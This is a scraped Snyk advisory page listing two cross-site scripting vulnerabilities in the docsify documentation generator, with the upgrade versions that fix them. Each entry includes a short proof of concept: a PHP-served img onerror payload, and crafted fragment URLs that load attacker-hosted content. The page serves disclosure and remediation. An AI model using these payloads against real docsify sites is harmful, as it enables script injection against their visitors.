docsify@2.2.0 vulnerabilities

A magical documentation generator.

  • latest version

    4.13.1

  • latest non vulnerable version

  • first published

    8 years ago

  • latest version published

    1 years ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the docsify package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Cross-site Scripting (XSS)

    docsify is a magical documentation site generator.

    Affected versions of this package are vulnerable to Cross-site Scripting (XSS). It is possible to bypass the remediation done by CVE-2020-7680 and execute malicious JavaScript through the following methods

    1. When parsing HTML from remote URLs, the HTML code on the main page is sanitized, but this sanitization is not taking place in the sidebar.

    2. The isURL external check can be bypassed by inserting more “////” characters

    PoC

    * Have a running PHP webserver with the following code 
    <?php
    header("Access-Control-Allow-Origin: *"); 
    
    ?>
    <img src=x onerror=alert(document.domain)> 
    
    
    * Access your docisfy instance as follows: http://yourdocsifyserver/#//yourserver.local:8090/test.php/
    

    Note: The fix for this issue is within release 4.12.1, not 4.12.0

    How to fix Cross-site Scripting (XSS)?

    Upgrade docsify to version 4.12.1 or higher.

    <4.12.1
    • H
    Cross-site Scripting (XSS)

    docsify is a magical documentation site generator.

    Affected versions of this package are vulnerable to Cross-site Scripting (XSS). Docsify.js uses fragment identifiers (parameters after # sign) to load resources from server-side .md files. Due to lack of validation here, it is possible to provide external URLs after the /#/ (domain.com/#//attacker.com) and render arbitrary JavaScript/HTML inside docsify page.

    PoC

    https://docsify.js.org/#//asharifi.pythonanywhere.com/README
    

    How to fix Cross-site Scripting (XSS)?

    Upgrade docsify to version 4.11.4 or higher.

    <4.11.4